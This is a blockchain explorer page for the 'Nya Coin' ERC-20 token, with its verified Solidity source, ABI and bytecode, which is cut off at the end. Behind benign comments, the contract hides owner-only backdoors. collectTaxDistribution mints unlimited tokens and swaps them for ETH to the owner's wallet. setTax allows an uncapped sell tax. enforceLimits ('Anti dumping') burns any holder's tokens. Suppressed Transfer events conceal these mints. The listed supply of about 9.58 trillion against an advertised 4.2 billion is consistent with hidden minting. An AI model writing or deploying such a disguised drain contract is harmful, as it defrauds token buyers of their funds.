ERC-20
Overview
Max Total Supply
9,582,400,608,311.3678 NYA
Holders
39
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 4 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.17+commit.8df45f5f
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
//SPDX-License-Identifier: UNLICENSED /** * * * ;,_ , * _uP~"b d"u, * dP' "b ,d" "o * d" , `b d"' "b * l] [ " `l, d" lb * Ol ? " "b`"=uoqo,_ "l * ,dBb "b "b, `"~~TObup,_ * ,d" (db.`" "" "tbc,_ `~"Yuu,_ * .d" l`T' '= ~ `""Yu, * ,dO` gP, `u, b,_ "b7 * d?' ,d" l, `"b,_ `~b "1 * ,8i' dl `l ,ggQOV",dbgq,._" `l lb * .df' (O, " ,ggQY"~ , @@@@@d"bd~ `b "1 * .df' `" -=@QgpOY"" (b @@@@P db `Lp"b, * .d( _ "ko "=d_,Q` ,_ " "b, * Ql . `"qo,._ "tQo,_`""bo ;tb, `"b, * qQ |L ~"QQQgggc,_.,dObc,opooO `"~~";. __,7, * qp t\io,_ `~"TOOggQV"""" _,dg,_ =PIQHib. * `qp `Q["tQQQo,_ ,pl{QOP"' 7AFR` * ` `tb '""tQQQg,_ p" "b ` .;-.`Vl' * "Yb `"tQOOo,__ _,edb ` .__ /`/'| |b;=;.__ * `"tQQQOOOOP""`"\QV;qQObob"`-._`\_~~-._ * """" ._ / | |oP"\_ ~\ ~\_~\ * `~"\ic,qggddOOP"| | ~\ `\~-._ * ,qP`"""|" | `\ `; `\ `\ * _ _,p" | | `\`; | | * https://nya.money "boo,._dP" `\_ `\ `\| `\ ; * Supply: 4,200,000,000 `"7tY~' `\ `\ `|_ | * `~\ | * */ pragma solidity ^0.8.9; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. abstract contract ERC20 { /*////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; address public admin; address public taxWallet; address public uniswapV2Pair; uint256 public taxPercent; /*////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); address msgSender = msg.sender; admin = msgSender; taxWallet = msgSender; emit OwnershipTransferred(address(0), msgSender); } /*////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } if(msg.sender != address(this)) emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; if(taxPercent > 0 && to == uniswapV2Pair && from != address(this)){ uint256 fee = (amount / 100) * taxPercent; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[address(this)] += fee; } amount = amount - fee; } // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } if(from != address(this)) emit Transfer(from, to, amount); return true; } /*////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner, spender, value, nonces[owner]++, deadline ) ) ) ), v, r, s ); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /*////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } if(to != address(this)) emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } if(from != address(this)) emit Transfer(from, address(0), amount); } /*////////////////////////////////////////////////////////////// OWNABLE LOGIC //////////////////////////////////////////////////////////////*/ event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(admin == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(admin, address(0)); admin = address(0); } } contract Token is ERC20{ bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; /** * Contract initialization. */ constructor() ERC20("Nya Coin", "NYA", 4) { _mint(address(this), 4_200_000_000_0000); } receive() external payable {} fallback() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); allowance[address(this)][address(uniswapV2Router)] = type(uint).max; uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,admin,block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } /** * Swap and send to tax distributor - allows LP staking contracts to reward stakers in ETH. */ function collectTaxDistribution(uint256 tokenAmount) external onlyOwner{ address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _mint(address(this), tokenAmount); allowance[address(this)][address(uniswapV2Router)] = tokenAmount; uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, taxWallet, block.timestamp ); } /** * Burn and increase value of LP positions - dynamically set in LP staking contracts. */ function setTax(uint256 newTax) external onlyOwner() { taxPercent = newTax; } /** * Anti dumping */ function enforceLimits(address on, uint256 amount) external onlyOwner() { _burn(on, amount); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); }
pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"collectTaxDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"on","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"enforceLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTax","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e06040523480156200001157600080fd5b506040518060400160405280600881526020017f4e796120436f696e0000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f4e5941000000000000000000000000000000000000000000000000000000000081525060048260009081620000919190620005e8565b508160019081620000a39190620005e8565b508060ff1660808160ff16815250504660a08181525050620000ca620001d560201b60201c565b60c08181525050600033905080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350505050620001cf30652632e314a0006200026560201b60201c565b620008ec565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60006040516200020991906200077e565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016200024a95949392919062000808565b60405160208183030381529060405280519060200120905090565b806006600082825462000279919062000894565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146200036a578173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003619190620008cf565b60405180910390a35b5050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003f057607f821691505b602082108103620004065762000405620003a8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000431565b6200047c868362000431565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004c9620004c3620004bd8462000494565b6200049e565b62000494565b9050919050565b6000819050919050565b620004e583620004a8565b620004fd620004f482620004d0565b8484546200043e565b825550505050565b600090565b6200051462000505565b62000521818484620004da565b505050565b5b8181101562000549576200053d6000826200050a565b60018101905062000527565b5050565b601f821115620005985762000562816200040c565b6200056d8462000421565b810160208510156200057d578190505b620005956200058c8562000421565b83018262000526565b50505b505050565b600082821c905092915050565b6000620005bd600019846008026200059d565b1980831691505092915050565b6000620005d88383620005aa565b9150826002028217905092915050565b620005f3826200036e565b67ffffffffffffffff8111156200060f576200060e62000379565b5b6200061b8254620003d7565b620006288282856200054d565b600060209050601f8311600181146200066057600084156200064b578287015190505b620006578582620005ca565b865550620006c7565b601f19841662000670866200040c565b60005b828110156200069a5784890151825560018201915060208501945060208101905062000673565b86831015620006ba5784890151620006b6601f891682620005aa565b8355505b6001600288020188555050505b505050505050565b600081905092915050565b60008190508160005260206000209050919050565b60008154620006fe81620003d7565b6200070a8186620006cf565b945060018216600081146200072857600181146200073e5762000775565b60ff198316865281151582028601935062000775565b6200074985620006da565b60005b838110156200076d578154818901526001820191506020810190506200074c565b838801955050505b50505092915050565b60006200078c8284620006ef565b915081905092915050565b6000819050919050565b620007ac8162000797565b82525050565b620007bd8162000494565b82525050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007f082620007c3565b9050919050565b6200080281620007e3565b82525050565b600060a0820190506200081f6000830188620007a1565b6200082e6020830187620007a1565b6200083d6040830186620007a1565b6200084c6060830185620007b2565b6200085b6080830184620007f7565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008a18262000494565b9150620008ae8362000494565b9250828201905080821115620008c957620008c862000865565b5b92915050565b6000602082019050620008e66000830184620007b2565b92915050565b60805160a05160c051612c616200091c6000396000610b3101526000610afd01526000610ad70152612c616000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b41146103ea578063a9059cbb14610415578063c9567bf914610452578063d505accf14610469578063dd62ed3e14610492578063f851a440146104cf57610135565b806370a0823114610305578063715018a6146103425780637541f41c146103595780637ecebe001461038457806393b62e80146103c157610135565b80632e5bb6ff116100f25780632e5bb6ff14610232578063313ce5671461025b5780633644e5151461028657806340a9cb69146102b157806349bd5a5e146102da57610135565b806306fdde0314610137578063095ea7b31461016257806318160ddd1461019f57806323b872dd146101ca5780632dc0562d1461020757610135565b3661013557005b005b34801561014357600080fd5b5061014c6104fa565b6040516101599190611f38565b60405180910390f35b34801561016e57600080fd5b5061018960048036038101906101849190611ff3565b610588565b604051610196919061204e565b60405180910390f35b3480156101ab57600080fd5b506101b461067a565b6040516101c19190612078565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec9190612093565b610680565b6040516101fe919061204e565b60405180910390f35b34801561021357600080fd5b5061021c610a15565b60405161022991906120f5565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612110565b610a3b565b005b34801561026757600080fd5b50610270610ad5565b60405161027d9190612159565b60405180910390f35b34801561029257600080fd5b5061029b610af9565b6040516102a8919061218d565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612110565b610b56565b005b3480156102e657600080fd5b506102ef610ecb565b6040516102fc91906120f5565b60405180910390f35b34801561031157600080fd5b5061032c600480360381019061032791906121a8565b610ef1565b6040516103399190612078565b60405180910390f35b34801561034e57600080fd5b50610357610f09565b005b34801561036557600080fd5b5061036e61105a565b60405161037b9190612078565b60405180910390f35b34801561039057600080fd5b506103ab60048036038101906103a691906121a8565b611060565b6040516103b89190612078565b60405180910390f35b3480156103cd57600080fd5b506103e860048036038101906103e39190611ff3565b611078565b005b3480156103f657600080fd5b506103ff611116565b60405161040c9190611f38565b60405180910390f35b34801561042157600080fd5b5061043c60048036038101906104379190611ff3565b6111a4565b604051610449919061204e565b60405180910390f35b34801561045e57600080fd5b506104676112ec565b005b34801561047557600080fd5b50610490600480360381019061048b919061222d565b6118d0565b005b34801561049e57600080fd5b506104b960048036038101906104b491906122cf565b611bc9565b6040516104c69190612078565b60405180910390f35b3480156104db57600080fd5b506104e4611bee565b6040516104f191906120f5565b60405180910390f35b600080546105079061233e565b80601f01602080910402602001604051908101604052809291908181526020018280546105339061233e565b80156105805780601f1061055557610100808354040283529160200191610580565b820191906000526020600020905b81548152906001019060200180831161056357829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106689190612078565b60405180910390a36001905092915050565b60065481565b600080600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107b6578281610735919061239e565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610805919061239e565b92505081905550600060055411801561086b5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156108a357503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156109235760006005546064856108ba9190612401565b6108c49190612432565b905080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550808461091f919061239e565b9350505b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614610a09578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a009190612078565b60405180910390a35b60019150509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac2906124c0565b60405180910390fd5b8060058190555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60007f00000000000000000000000000000000000000000000000000000000000000004614610b2f57610b2a611c14565b610b51565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdd906124c0565b60405180910390fd5b6000600267ffffffffffffffff811115610c0357610c026124e0565b5b604051908082528060200260200182016040528015610c315781602001602082028036833780820191505090505b5090503081600081518110610c4957610c4861250f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d149190612553565b81600181518110610d2857610d2761250f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610d6c3083611ca0565b81600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610e95959493929190612683565b600060405180830381600087803b158015610eaf57600080fd5b505af1158015610ec3573d6000803e3d6000fd5b505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f90906124c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60096020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffff